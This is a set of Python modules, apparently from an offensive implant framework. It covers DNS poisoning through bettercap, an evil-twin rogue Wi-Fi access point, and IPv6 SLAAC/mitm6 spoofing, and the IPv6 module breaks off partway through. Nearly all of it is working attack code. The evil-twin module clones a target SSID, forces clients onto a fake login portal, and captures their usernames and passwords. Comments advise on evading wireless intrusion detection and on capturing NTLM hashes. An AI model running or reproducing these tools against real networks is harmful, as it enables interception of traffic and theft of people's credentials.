||||
zone_file: Path to zone template for selective redirection
|
||||
"""
|
||||
|
||||
name = "dns_poison"
|
||||
module_type = "active"
|
||||
priority = 200
|
||||
requires_root = True
|
||||
dependencies = ["bettercap_mgr"]
|
||||
|
||||
def __init__(self, bus, state, config, engine=None):
|
||||
super().__init__(bus, state, config, engine)
|
||||
self._bettercap_mgr = None
|
||||
self._poisoning = False
|
||||
self._domains: Optional[str] = None
|
||||
self._target_ip: Optional[str] = None
|
||||
self._zone_dir = config.get(
|
||||
"zone_dir",
|
||||
os.path.join(os.path.dirname(__file__), "..", "..", "templates", "dns_zones"),
|
||||
)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# BaseModule interface
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def start(self) -> None:
|
||||
if self._running:
|
||||
return
|
||||
|
||||
self._bettercap_mgr = self.config.get("bettercap_mgr")
|
||||
if not self._bettercap_mgr:
|
||||
logger.error("DNSPoison requires bettercap_mgr reference in config")
|
||||
return
|
||||
|
||||
self._running = True
|
||||
self._pid = os.getpid()
|
||||
self._start_time = time.time()
|
||||
|
||||
self.state.set_module_status(self.name, "running", pid=self._pid)
|
||||
logger.info("DNSPoison module started (ready for poison commands)")
|
||||
|
||||
def stop(self) -> None:
|
||||
if not self._running:
|
||||
return
|
||||
|
||||
if self._poisoning:
|
||||
self.stop_poison()
|
||||
|
||||
self._running = False
|
||||
self.state.set_module_status(self.name, "stopped")
|
||||
logger.info("DNSPoison module stopped")
|
||||
|
||||
def status(self) -> dict:
|
||||
return {
|
||||
"running": self._running,
|
||||
"pid": self._pid,
|
||||
"uptime": time.time() - self._start_time if self._start_time else 0,
|
||||
"poisoning": self._poisoning,
|
||||
"domains": self._domains,
|
||||
"target_ip": self._target_ip,
|
||||
}
|
||||
|
||||
def configure(self, config: dict) -> None:
|
||||
self.config.update(config)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Public API
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def poison(self, domains: str, target_ip: str) -> bool:
|
||||
"""Enable DNS poisoning for specified domains.
|
||||
|
||||
Args:
|
||||
domains: Comma-separated domains or wildcards
|
||||
(e.g., "*.corp.local,login.example.com").
|
||||
target_ip: IP address to redirect poisoned domains to.
|
||||
|
||||
Returns:
|
||||
True if DNS poisoning was enabled successfully.
|
||||
"""
|
||||
if not self._running or not self._bettercap_mgr:
|
||||
logger.error("DNSPoison not started")
|
||||
return False
|
||||
|
||||
try:
|
||||
self._bettercap_mgr.run_command(f"set dns.spoof.domains {domains}")
|
||||
self._bettercap_mgr.run_command(f"set dns.spoof.address {target_ip}")
|
||||
self._bettercap_mgr.run_command("dns.spoof on")
|
||||
|
||||
self._poisoning = True
|
||||
self._domains = domains
|
||||
self._target_ip = target_ip
|
||||
|
||||
self.state.set(self.name, "domains", domains)
|
||||
self.state.set(self.name, "target_ip", target_ip)
|
||||
logger.info("DNS poisoning enabled: domains=%s -> %s", domains, target_ip)
|
||||
return True
|
||||
|
||||
except Exception:
|
||||
logger.exception("Failed to enable DNS poisoning")
|
||||
return False
|
||||
|
||||
def load_zone(self, zone_file: str) -> bool:
|
||||
"""Load a zone template and apply DNS poisoning rules.
|
||||
|
||||
Zone file format (one entry per line):
|
||||
domain.com 192.168.1.100
|
||||
*.corp.local 192.168.1.100
|
||||
# comments ignored
|
||||
|
||||
Args:
|
||||
zone_file: Filename within the zone_dir (e.g., "selective.zone").
|
||||
|
||||
Returns:
|
||||
True if zone was loaded and applied.
|
||||
"""
|
||||
zone_path = os.path.join(self._zone_dir, zone_file)
|
||||
if not os.path.isfile(zone_path):
|
||||
logger.error("Zone file not found: %s", zone_path)
|
||||
return False
|
||||
|
||||
try:
|
||||
domains = []
|
||||
target_ip = None
|
||||
|
||||
with open(zone_path, "r") as f:
|
||||
for line in f:
|
||||
line = line.strip()
|
||||
if not line or line.startswith("#"):
|
||||
continue
|
||||
parts = line.split()
|
||||
if len(parts) >= 2:
|
||||
domains.append(parts[0])
|
||||
# Use the last IP seen as target
|
||||
target_ip = parts[1]
|
||||
elif len(parts) == 1:
|
||||
domains.append(parts[0])
|
||||
|
||||
if not domains:
|
||||
logger.warning("Zone file %s contains no entries", zone_file)
|
||||
return False
|
||||
|
||||
if not target_ip:
|
||||
target_ip = self.config.get("implant_ip", "127.0.0.1")
|
||||
|
||||
return self.poison(",".join(domains), target_ip)
|
||||
|
||||
except Exception:
|
||||
logger.exception("Failed to load zone file: %s", zone_file)
|
||||
return False
|
||||
|
||||
def stop_poison(self) -> bool:
|
||||
"""Disable DNS poisoning.
|
||||
|
||||
Returns:
|
||||
True if DNS poisoning was stopped successfully.
|
||||
"""
|
||||
if not self._bettercap_mgr:
|
||||
return False
|
||||
|
||||
try:
|
||||
self._bettercap_mgr.run_command("dns.spoof off")
|
||||
self._poisoning = False
|
||||
self._domains = None
|
||||
self._target_ip = None
|
||||
|
||||
self.state.set(self.name, "domains", "")
|
||||
self.state.set(self.name, "target_ip", "")
|
||||
logger.info("DNS poisoning disabled")
|
||||
return True
|
||||
|
||||
except Exception:
|
||||
logger.exception("Failed to disable DNS poisoning")
|
||||
return False
|
||||
@@ -0,0 +1,554 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Evil Twin AP module — hostapd-based rogue access point with captive portal.
|
||||
|
||||
Creates a wireless access point matching a target SSID, combined with
|
||||
a captive portal served via a lightweight HTTP server. dnsmasq provides
|
||||
DHCP and DNS for connected clients, redirecting all DNS to the portal.
|
||||
|
||||
OPSEC: Run wireless_intel module for 2-hour observation before activation
|
||||
to detect WIDS/WIPS and understand target AP parameters.
|
||||
|
||||
Resources: ~30MB RAM, ~5% CPU
|
||||
"""
|
||||
|
||||
import http.server
|
||||
import logging
|
||||
import os
|
||||
import signal
|
||||
import socketserver
|
||||
import subprocess
|
||||
import threading
|
||||
import time
|
||||
from pathlib import Path
|
||||
from typing import Optional
|
||||
|
||||
from modules.base import BaseModule
|
||||
from utils.credential_encryption import emit_credential_found
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
# Default dnsmasq config for captive portal
|
||||
DNSMASQ_CONF_TEMPLATE = """interface={iface}
|
||||
dhcp-range={dhcp_start},{dhcp_end},255.255.255.0,12h
|
||||
dhcp-option=3,{gateway}
|
||||
dhcp-option=6,{gateway}
|
||||
address=/#/{gateway}
|
||||
no-resolv
|
||||
log-queries
|
||||
log-facility=/tmp/bb-dnsmasq.log
|
||||
"""
|
||||
|
||||
|
||||
class CaptivePortalHandler(http.server.SimpleHTTPRequestHandler):
|
||||
"""HTTP handler for the captive portal.
|
||||
|
||||
Serves the portal HTML for GET requests and captures POST data
|
||||
(credentials) from login forms.
|
||||
"""
|
||||
|
||||
portal_html = ""
|
||||
credential_callback = None
|
||||
|
||||
def do_GET(self):
|
||||
self.send_response(200)
|
||||
self.send_header("Content-Type", "text/html")
|
||||
self.end_headers()
|
||||
self.wfile.write(self.portal_html.encode("utf-8"))
|
||||
|
||||
def do_POST(self):
|
||||
content_length = int(self.headers.get("Content-Length", 0))
|
||||
post_data = self.rfile.read(content_length).decode("utf-8", errors="replace")
|
||||
|
||||
if self.credential_callback:
|
||||
self.credential_callback(self.client_address[0], post_data)
|
||||
|
||||
# Redirect to a "success" page after capture
|
||||
self.send_response(200)
|
||||
self.send_header("Content-Type", "text/html")
|
||||
self.end_headers()
|
||||
success_html = (
|
||||
"<html><body><h2>Connecting...</h2>"
|
||||
"<p>Please wait while we verify your credentials.</p>"
|
||||
"<script>setTimeout(function(){window.location='/'},5000);</script>"
|
||||
"</body></html>"
|
||||
)
|
||||
self.wfile.write(success_html.encode("utf-8"))
|
||||
|
||||
def log_message(self, format, *args):
|
||||
"""Suppress default HTTP logging to avoid console noise."""
|
||||
pass
|
||||
|
||||
|
||||
class EvilTwin(BaseModule):
|
||||
"""Evil Twin AP with captive portal credential harvesting.
|
||||
|
||||
Creates a rogue AP matching a target SSID using hostapd, serves a
|
||||
captive portal, and captures credentials from connecting clients.
|
||||
|
||||
Dependencies:
|
||||
- hostapd (system package)
|
||||
- dnsmasq (system package)
|
||||
- Wireless interface capable of AP mode
|
||||
|
||||
Configuration:
|
||||
wifi_iface: Wireless interface for AP mode (e.g., "wlan0")
|
||||
portal_dir: Path to captive portal HTML templates
|
||||
"""
|
||||
|
||||
name = "evil_twin"
|
||||
module_type = "active"
|
||||
priority = 200
|
||||
requires_root = True
|
||||
|
||||
def __init__(self, bus, state, config, engine=None):
|
||||
super().__init__(bus, state, config, engine)
|
||||
self._hostapd_proc: Optional[subprocess.Popen] = None
|
||||
self._dnsmasq_proc: Optional[subprocess.Popen] = None
|
||||
self._portal_thread: Optional[threading.Thread] = None
|
||||
self._portal_server: Optional[socketserver.TCPServer] = None
|
||||
self._wifi_iface = config.get("wifi_iface", "wlan0")
|
||||
self._ap_active = False
|
||||
self._ssid: Optional[str] = None
|
||||
self._channel = 6
|
||||
self._portal_template: Optional[str] = None
|
||||
self._clients: list = []
|
||||
self._clients_lock = threading.Lock()
|
||||
self._captured_creds: list = []
|
||||
self._creds_lock = threading.Lock()
|
||||
self._portal_port = config.get("portal_port", 80)
|
||||
self._gateway_ip = config.get("ap_gateway", "10.0.0.1")
|
||||
self._dhcp_start = config.get("dhcp_start", "10.0.0.10")
|
||||
self._dhcp_end = config.get("dhcp_end", "10.0.0.250")
|
||||
self._template_dir = config.get(
|
||||
"portal_dir",
|
||||
os.path.join(os.path.dirname(__file__), "..", "..", "templates", "captive_portals"),
|
||||
)
|
||||
self._hostapd_template_dir = config.get(
|
||||
"hostapd_template_dir",
|
||||
os.path.join(os.path.dirname(__file__), "..", "..", "templates", "hostapd"),
|
||||
)
|
||||
self._tmp_dir = "/tmp/bb-evil-twin"
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# BaseModule interface
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def start(self) -> None:
|
||||
if self._running:
|
||||
return
|
||||
|
||||
self._running = True
|
||||
self._pid = os.getpid()
|
||||
self._start_time = time.time()
|
||||
|
||||
Path(self._tmp_dir).mkdir(parents=True, exist_ok=True)
|
||||
|
||||
self.state.set_module_status(self.name, "running", pid=self._pid)
|
||||
logger.info("EvilTwin module started (ready for AP creation)")
|
||||
|
||||
def stop(self) -> None:
|
||||
if not self._running:
|
||||
return
|
||||
|
||||
if self._ap_active:
|
||||
self.stop_ap()
|
||||
|
||||
self._running = False
|
||||
self.state.set_module_status(self.name, "stopped")
|
||||
logger.info("EvilTwin module stopped")
|
||||
|
||||
def status(self) -> dict:
|
||||
return {
|
||||
"running": self._running,
|
||||
"pid": self._pid,
|
||||
"uptime": time.time() - self._start_time if self._start_time else 0,
|
||||
"ap_active": self._ap_active,
|
||||
"ssid": self._ssid,
|
||||
"channel": self._channel,
|
||||
"interface": self._wifi_iface,
|
||||
"client_count": len(self._clients),
|
||||
"captured_creds": len(self._captured_creds),
|
||||
}
|
||||
|
||||
def configure(self, config: dict) -> None:
|
||||
self.config.update(config)
|
||||
if "wifi_iface" in config:
|
||||
self._wifi_iface = config["wifi_iface"]
|
||||
if "portal_port" in config:
|
||||
self._portal_port = config["portal_port"]
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Public API
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def create_ap(self, ssid: str, channel: int = 6,
|
||||
portal_template: str = "corporate_login.html") -> bool:
|
||||
"""Create evil twin AP with captive portal.
|
||||
|
||||
Args:
|
||||
ssid: Target SSID to clone.
|
||||
channel: WiFi channel (default 6).
|
||||
portal_template: Filename of HTML portal template.
|
||||
|
||||
Returns:
|
||||
True if AP was created successfully.
|
||||
"""
|
||||
if not self._running:
|
||||
logger.error("EvilTwin not started")
|
||||
return False
|
||||
|
||||
if self._ap_active:
|
||||
logger.warning("AP already active — stop it first")
|
||||
return False
|
||||
|
||||
self._ssid = ssid
|
||||
self._channel = channel
|
||||
self._portal_template = portal_template
|
||||
|
||||
# Write hostapd config
|
||||
hostapd_conf = self._generate_hostapd_config(ssid, channel)
|
||||
hostapd_conf_path = os.path.join(self._tmp_dir, "hostapd.conf")
|
||||
with open(hostapd_conf_path, "w") as f:
|
||||
f.write(hostapd_conf)
|
||||
|
||||
# Configure wireless interface
|
||||
if not self._setup_interface():
|
||||
return False
|
||||
|
||||
# Start hostapd
|
||||
if not self._start_hostapd(hostapd_conf_path):
|
||||
self._teardown_interface()
|
||||
return False
|
||||
|
||||
# Write and start dnsmasq
|
||||
dnsmasq_conf = DNSMASQ_CONF_TEMPLATE.format(
|
||||
iface=self._wifi_iface,
|
||||
dhcp_start=self._dhcp_start,
|
||||
dhcp_end=self._dhcp_end,
|
||||
gateway=self._gateway_ip,
|
||||
)
|
||||
dnsmasq_conf_path = os.path.join(self._tmp_dir, "dnsmasq.conf")
|
||||
with open(dnsmasq_conf_path, "w") as f:
|
||||
f.write(dnsmasq_conf)
|
||||
|
||||
if not self._start_dnsmasq(dnsmasq_conf_path):
|
||||
self._stop_hostapd()
|
||||
self._teardown_interface()
|
||||
return False
|
||||
|
||||
# Configure iptables for captive portal redirect
|
||||
self._setup_iptables()
|
||||
|
||||
# Start captive portal HTTP server
|
||||
self._start_portal(portal_template)
|
||||
|
||||
self._ap_active = True
|
||||
self.state.set(self.name, "ssid", ssid)
|
||||
self.state.set(self.name, "channel", str(channel))
|
||||
logger.info("Evil Twin AP active: SSID=%s, ch=%d, portal=%s",
|
||||
ssid, channel, portal_template)
|
||||
return True
|
||||
|
||||
def stop_ap(self) -> bool:
|
||||
"""Stop the evil twin AP and clean up.
|
||||
|
||||
Returns:
|
||||
True if AP was stopped successfully.
|
||||
"""
|
||||
logger.info("Stopping Evil Twin AP...")
|
||||
|
||||
# Stop portal server
|
||||
self._stop_portal()
|
||||
|
||||
# Remove iptables rules
|
||||
self._teardown_iptables()
|
||||
|
||||
# Stop dnsmasq
|
||||
self._stop_dnsmasq()
|
||||
|
||||
# Stop hostapd
|
||||
self._stop_hostapd()
|
||||
|
||||
# Restore interface
|
||||
self._teardown_interface()
|
||||
|
||||
self._ap_active = False
|
||||
self._ssid = None
|
||||
self.state.set(self.name, "ssid", "")
|
||||
logger.info("Evil Twin AP stopped")
|
||||
return True
|
||||
|
||||
def get_clients(self) -> list:
|
||||
"""Return list of currently connected clients.
|
||||
|
||||
Returns:
|
||||
List of dicts with client MAC and IP.
|
||||
"""
|
||||
# Parse dnsmasq lease file for connected clients
|
||||
lease_file = "/tmp/bb-dnsmasq.leases"
|
||||
clients = []
|
||||
if os.path.isfile(lease_file):
|
||||
try:
|
||||
with open(lease_file, "r") as f:
|
||||
for line in f:
|
||||
parts = line.strip().split()
|
||||
if len(parts) >= 4:
|
||||
clients.append({
|
||||
"mac": parts[1],
|
||||
"ip": parts[2],
|
||||
"hostname": parts[3] if parts[3] != "*" else "",
|
||||
})
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
with self._clients_lock:
|
||||
self._clients = clients
|
||||
return clients
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# hostapd management
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _generate_hostapd_config(self, ssid: str, channel: int) -> str:
|
||||
"""Generate hostapd config for open AP."""
|
||||
return (
|
||||
f"interface={self._wifi_iface}\n"
|
||||
f"driver=nl80211\n"
|
||||
f"ssid={ssid}\n"
|
||||
f"hw_mode=g\n"
|
||||
f"channel={channel}\n"
|
||||
f"wmm_enabled=0\n"
|
||||
f"macaddr_acl=0\n"
|
||||
f"auth_algs=1\n"
|
||||
f"ignore_broadcast_ssid=0\n"
|
||||
f"wpa=0\n"
|
||||
)
|
||||
|
||||
def _start_hostapd(self, conf_path: str) -> bool:
|
||||
try:
|
||||
self._hostapd_proc = subprocess.Popen(
|
||||
["hostapd", conf_path],
|
||||
stdout=subprocess.PIPE,
|
||||
stderr=subprocess.PIPE,
|
||||
)
|
||||
time.sleep(2) # Wait for hostapd to initialize
|
||||
if self._hostapd_proc.poll() is not None:
|
||||
stderr = self._hostapd_proc.stderr.read().decode(errors="replace")
|
||||
logger.error("hostapd failed to start: %s", stderr)
|
||||
return False
|
||||
logger.info("hostapd started (pid=%d)", self._hostapd_proc.pid)
|
||||
return True
|
||||
except FileNotFoundError:
|
||||
logger.error("hostapd not found — install with: apt install hostapd")
|
||||
return False
|
||||
except Exception as e:
|
||||
logger.error("Failed to start hostapd: %s", e)
|
||||
return False
|
||||
|
||||
def _stop_hostapd(self) -> None:
|
||||
if self._hostapd_proc and self._hostapd_proc.poll() is None:
|
||||
self._hostapd_proc.terminate()
|
||||
try:
|
||||
self._hostapd_proc.wait(timeout=5)
|
||||
except subprocess.TimeoutExpired:
|
||||
self._hostapd_proc.kill()
|
||||
self._hostapd_proc = None
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# dnsmasq management
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _start_dnsmasq(self, conf_path: str) -> bool:
|
||||
try:
|
||||
self._dnsmasq_proc = subprocess.Popen(
|
||||
[
|
||||
"dnsmasq", "-C", conf_path,
|
||||
"--no-daemon",
|
||||
"--dhcp-leasefile=/tmp/bb-dnsmasq.leases",
|
||||
],
|
||||
stdout=subprocess.PIPE,
|
||||
stderr=subprocess.PIPE,
|
||||
)
|
||||
time.sleep(1)
|
||||
if self._dnsmasq_proc.poll() is not None:
|
||||
stderr = self._dnsmasq_proc.stderr.read().decode(errors="replace")
|
||||
logger.error("dnsmasq failed to start: %s", stderr)
|
||||
return False
|
||||
logger.info("dnsmasq started (pid=%d)", self._dnsmasq_proc.pid)
|
||||
return True
|
||||
except FileNotFoundError:
|
||||
logger.error("dnsmasq not found — install with: apt install dnsmasq")
|
||||
return False
|
||||
except Exception as e:
|
||||
logger.error("Failed to start dnsmasq: %s", e)
|
||||
return False
|
||||
|
||||
def _stop_dnsmasq(self) -> None:
|
||||
if self._dnsmasq_proc and self._dnsmasq_proc.poll() is None:
|
||||
self._dnsmasq_proc.terminate()
|
||||
try:
|
||||
self._dnsmasq_proc.wait(timeout=5)
|
||||
except subprocess.TimeoutExpired:
|
||||
self._dnsmasq_proc.kill()
|
||||
self._dnsmasq_proc = None
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Interface management
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _setup_interface(self) -> bool:
|
||||
"""Configure wireless interface for AP mode."""
|
||||
try:
|
||||
# Kill interfering processes
|
||||
subprocess.run(
|
||||
["airmon-ng", "check", "kill"],
|
||||
capture_output=True, timeout=10,
|
||||
)
|
||||
# Set interface up with IP
|
||||
subprocess.run(
|
||||
["ip", "addr", "flush", "dev", self._wifi_iface],
|
||||
capture_output=True, timeout=5,
|
||||
)
|
||||
subprocess.run(
|
||||
["ip", "addr", "add", f"{self._gateway_ip}/24", "dev", self._wifi_iface],
|
||||
capture_output=True, timeout=5,
|
||||
)
|
||||
subprocess.run(
|
||||
["ip", "link", "set", self._wifi_iface, "up"],
|
||||
capture_output=True, timeout=5,
|
||||
)
|
||||
return True
|
||||
except Exception:
|
||||
logger.exception("Failed to configure wireless interface")
|
||||
return False
|
||||
|
||||
def _teardown_interface(self) -> None:
|
||||
"""Restore wireless interface to managed mode."""
|
||||
try:
|
||||
subprocess.run(
|
||||
["ip", "addr", "flush", "dev", self._wifi_iface],
|
||||
capture_output=True, timeout=5,
|
||||
)
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# iptables for captive portal
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _setup_iptables(self) -> None:
|
||||
"""Set up iptables to redirect HTTP traffic to the captive portal."""
|
||||
rules = [
|
||||
# Enable NAT
|
||||
["iptables", "-t", "nat", "-A", "POSTROUTING", "-o", self._wifi_iface,
|
||||
"-j", "MASQUERADE"],
|
||||
# Redirect HTTP to portal
|
||||
["iptables", "-t", "nat", "-A", "PREROUTING", "-i", self._wifi_iface,
|
||||
"-p", "tcp", "--dport", "80", "-j", "REDIRECT",
|
||||
"--to-port", str(self._portal_port)],
|
||||
# Redirect HTTPS to portal (for captive portal detection)
|
||||
["iptables", "-t", "nat", "-A", "PREROUTING", "-i", self._wifi_iface,
|
||||
"-p", "tcp", "--dport", "443", "-j", "REDIRECT",
|
||||
"--to-port", str(self._portal_port)],
|
||||
]
|
||||
for rule in rules:
|
||||
try:
|
||||
subprocess.run(rule, capture_output=True, timeout=5)
|
||||
except Exception:
|
||||
logger.warning("Failed to apply iptables rule: %s", " ".join(rule))
|
||||
|
||||
# Enable IP forwarding
|
||||
try:
|
||||
with open("/proc/sys/net/ipv4/ip_forward", "w") as f:
|
||||
f.write("1")
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
def _teardown_iptables(self) -> None:
|
||||
"""Remove captive portal iptables rules."""
|
||||
rules = [
|
||||
["iptables", "-t", "nat", "-D", "POSTROUTING", "-o", self._wifi_iface,
|
||||
"-j", "MASQUERADE"],
|
||||
["iptables", "-t", "nat", "-D", "PREROUTING", "-i", self._wifi_iface,
|
||||
"-p", "tcp", "--dport", "80", "-j", "REDIRECT",
|
||||
"--to-port", str(self._portal_port)],
|
||||
["iptables", "-t", "nat", "-D", "PREROUTING", "-i", self._wifi_iface,
|
||||
"-p", "tcp", "--dport", "443", "-j", "REDIRECT",
|
||||
"--to-port", str(self._portal_port)],
|
||||
]
|
||||
for rule in rules:
|
||||
try:
|
||||
subprocess.run(rule, capture_output=True, timeout=5)
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Captive portal HTTP server
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _start_portal(self, template_name: str) -> None:
|
||||
"""Start the captive portal HTTP server."""
|
||||
portal_path = os.path.join(self._template_dir, template_name)
|
||||
if os.path.isfile(portal_path):
|
||||
with open(portal_path, "r") as f:
|
||||
CaptivePortalHandler.portal_html = f.read()
|
||||
else:
|
||||
logger.warning("Portal template not found: %s — using default", portal_path)
|
||||
CaptivePortalHandler.portal_html = (
|
||||
"<html><body><h1>Welcome</h1>"
|
||||
"<form method='POST'>"
|
||||
"<input name='username' placeholder='Username'><br>"
|
||||
"<input name='password' type='password' placeholder='Password'><br>"
|
||||
"<button type='submit'>Sign In</button>"
|
||||
"</form></body></html>"
|
||||
)
|
||||
|
||||
CaptivePortalHandler.credential_callback = self._on_credential_captured
|
||||
|
||||
self._portal_server = socketserver.TCPServer(
|
||||
("0.0.0.0", self._portal_port), CaptivePortalHandler
|
||||
)
|
||||
self._portal_server.allow_reuse_address = True
|
||||
|
||||
self._portal_thread = threading.Thread(
|
||||
target=self._portal_server.serve_forever,
|
||||
daemon=True,
|
||||
name="sensor-captive-portal",
|
||||
)
|
||||
self._portal_thread.start()
|
||||
logger.info("Captive portal serving on port %d", self._portal_port)
|
||||
|
||||
def _stop_portal(self) -> None:
|
||||
if self._portal_server:
|
||||
self._portal_server.shutdown()
|
||||
self._portal_server = None
|
||||
|
||||
def _on_credential_captured(self, client_ip: str, post_data: str) -> None:
|
||||
"""Handle credential submission from captive portal."""
|
||||
with self._creds_lock:
|
||||
self._captured_creds.append({
|
||||
"timestamp": time.time(),
|
||||
"client_ip": client_ip,
|
||||
"post_data": post_data,
|
||||
})
|
||||
|
||||
# Parse form data for username/password
|
||||
from urllib.parse import parse_qs
|
||||
params = parse_qs(post_data)
|
||||
username = params.get("username", params.get("email", [""]))[0] if params else ""
|
||||
password = params.get("password", params.get("pass", [""]))[0] if params else ""
|
||||
|
||||
self.bus.emit(
|
||||
"CREDENTIAL_FOUND",
|
||||
{
|
||||
"source_module": self.name,
|
||||
"source_ip": client_ip,
|
||||
"target_service": f"captive_portal:{self._ssid}",
|
||||
"username": username,
|
||||
"credential_type": "cleartext",
|
||||
"credential_value": password,
|
||||
"raw_data": post_data,
|
||||
},
|
||||
source_module=self.name,
|
||||
)
|
||||
logger.info("Captive portal credential captured from %s", client_ip)
|
||||
@@ -0,0 +1,258 @@
|
||||
#!/usr/bin/env python3
|
||||
"""IPv6 SLAAC Spoofing — RA injection + WPAD abuse via mitm6.
|
||||
|
||||
Exploits IPv6 SLAAC autoconfiguration to inject a rogue DNS server.
|
||||
Combines two approaches:
|
||||
1. bettercap dhcp6.spoof: Router Advertisement injection
|
||||
2. mitm6: Targeted WPAD/DNS takeover via IPv6
|
||||
|
||||
This is significantly stealthier than ARP spoofing — most networks
|
||||
have IPv6 enabled but unmonitored, and DAI does not cover IPv6.
|
||||
"""
|
||||
|
||||
import logging
|
||||
import os
|
||||
import subprocess
|
||||
import threading
|
||||
import time
|
||||
from typing import Optional
|
||||
|
||||
from modules.base import BaseModule
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
||||
class IPv6SLAAC(BaseModule):
|
||||
"""IPv6 SLAAC spoofing via bettercap + mitm6.
|
||||
|
||||
Dependencies:
|
||||
- bettercap_mgr must be running (for dhcp6.spoof)
|
||||
- mitm6 must be installed (pip install mitm6)
|
||||
|
||||
Configuration:
|
||||
target_domain: Domain to target with mitm6 WPAD abuse
|
||||
mitm6_binary: Path to mitm6 (default: /opt/tools/mitm6/mitm6)
|
||||
interface: Network interface (default: eth0)
|
||||
"""
|
||||
|
||||
name = "ipv6_slaac"
|
||||
module_type = "active"
|
||||
priority = 200
|
||||
requires_root = True
|
||||
dependencies = ["bettercap_mgr"]
|
||||
|
||||
def __init__(self, bus, state, config, engine=None):
|
||||
super().__init__(bus, state, config, engine)
|
||||
self._bettercap_mgr = None
|
||||
self._mitm6_proc: Optional[subprocess.Popen] = None
|
||||
self._mitm6_thread: Optional[threading.Thread] = None
|
||||
self._slaac_active = False
|
||||
self._mitm6_active = False
|
||||
self._mitm6_binary = config.get("mitm6_binary", "/opt/tools/mitm6/mitm6")
|
||||
self._iface = config.get("interface", "eth0")
|
||||
self._target_domain: Optional[str] = None
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# BaseModule interface
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def start(self) -> None:
|
||||
if self._running:
|
||||
return
|
||||
|
||||
self._bettercap_mgr = self.config.get("bettercap_mgr")
|
||||
if not self._bettercap_mgr:
|
||||
logger.error("IPv6SLAAC requires bettercap_mgr reference in config")
|
||||
return
|
||||
|
||||
self._running = True
|
||||
self._pid = os.getpid()
|
||||
self._start_time = time.time()
|
||||
|
||||
self.state.set_module_status(self.name, "running", pid=self._pid)
|
||||
logger.info("IPv6SLAAC module started (ready for SLAAC/mitm6 commands)")
|
||||
|
||||
def stop(self) -> None:
|
||||
if not self._running:
|
||||
return
|
||||
|
||||
self.stop_all()
|
||||
self._running = False
|
||||
self.state.set_module_status(self.name, "stopped")
|
||||
logger.info("IPv6SLAAC module stopped")
|
||||
|
||||
def status(self) -> dict:
|
||||
mitm6_alive = (
|
||||
self._mitm6_proc is not None and self._mitm6_proc.poll() is None
|
||||
)
|
||||
return {
|
||||
"running": self._running,
|
||||
"pid": self._pid,
|
||||
"uptime": time.time() - self._start_time if self._start_time else 0,
|
||||
"slaac_active": self._slaac_active,
|
||||
"mitm6_active": self._mitm6_active and mitm6_alive,
|
||||
"target_domain": self._target_domain,
|
||||
"interface": self._iface,
|
||||
}
|
||||
|
||||
def configure(self, config: dict) -> None:
|
||||
self.config.update(config)
|
||||
if "interface" in config:
|
||||
self._iface = config["interface"]
|
||||
if "mitm6_binary" in config:
|
||||
self._mitm6_binary = config["mitm6_binary"]
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Public API
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def start_slaac(self) -> bool:
|
||||
"""Enable IPv6 SLAAC spoofing via bettercap dhcp6.spoof.
|
||||
|
||||
Injects Router Advertisements to become the IPv6 DNS server
|
||||
for all hosts on the segment.
|
||||
|
||||
Returns:
|
||||
True if SLAAC spoofing was enabled.
|
||||
"""
|
||||
if not self._running or not self._bettercap_mgr:
|
||||
logger.error("IPv6SLAAC not started")
|
||||
return False
|
||||
|
||||
try:
|
||||
self._bettercap_mgr.run_command("dhcp6.spoof on")
|
||||
self._slaac_active = True
|
||||
self.state.set(self.name, "slaac_active", "true")
|
||||
logger.info("IPv6 SLAAC spoofing enabled via bettercap")
|
||||
return True
|
||||
except Exception:
|
||||
logger.exception("Failed to enable SLAAC spoofing")
|
||||
return False
|
||||
|
||||
def start_mitm6(self, domain: str = None) -> bool:
|
||||
"""Start mitm6 for WPAD abuse and DNS takeover via IPv6.
|
||||
|
||||
mitm6 sends RA messages advertising itself as the IPv6 DNS
|
||||
server, then responds to WPAD requests to redirect proxy
|
||||
configuration. Effective for NTLM hash capture when combined
|
||||
with ntlmrelayx.
|
||||
|
||||
Args:
|
||||
domain: Target domain for WPAD abuse (e.g., "corp.local").
|
||||
|
||||
Returns:
|
||||
True if mitm6 was started.
|
||||
"""
|
||||
if not self._running:
|
||||
logger.error("IPv6SLAAC not started")
|
||||
return False
|
||||
|
||||
if self._mitm6_active and self._mitm6_proc and self._mitm6_proc.poll() is None:
|
||||
logger.warning("mitm6 already running")
|
||||
return True
|
||||
|
||||
self._target_domain = domain or self.config.get("target_domain", "")
|
||||
|
||||
cmd = [self._mitm6_binary, "-i", self._iface]
|
||||
if self._target_domain:
|
||||
cmd.extend(["-d", self._target_domain])
|
||||
|
||||
try:
|
||||
self._mitm6_proc = subprocess.Popen(
|
||||
cmd,
|
||||
stdout=subprocess.PIPE,
|
||||
stderr=subprocess.PIPE,
|
||||
)
|
||||
time.sleep(2)
|
||||
if self._mitm6_proc.poll() is not None:
|
||||
stderr = self._mitm6_proc.stderr.read().decode(errors="replace")
|
||||
logger.error("mitm6 failed to start: %s", stderr)
|
||||
return False
|
||||
|
||||
self._mitm6_active = True
|
||||
|
||||
# Start output monitoring thread
|
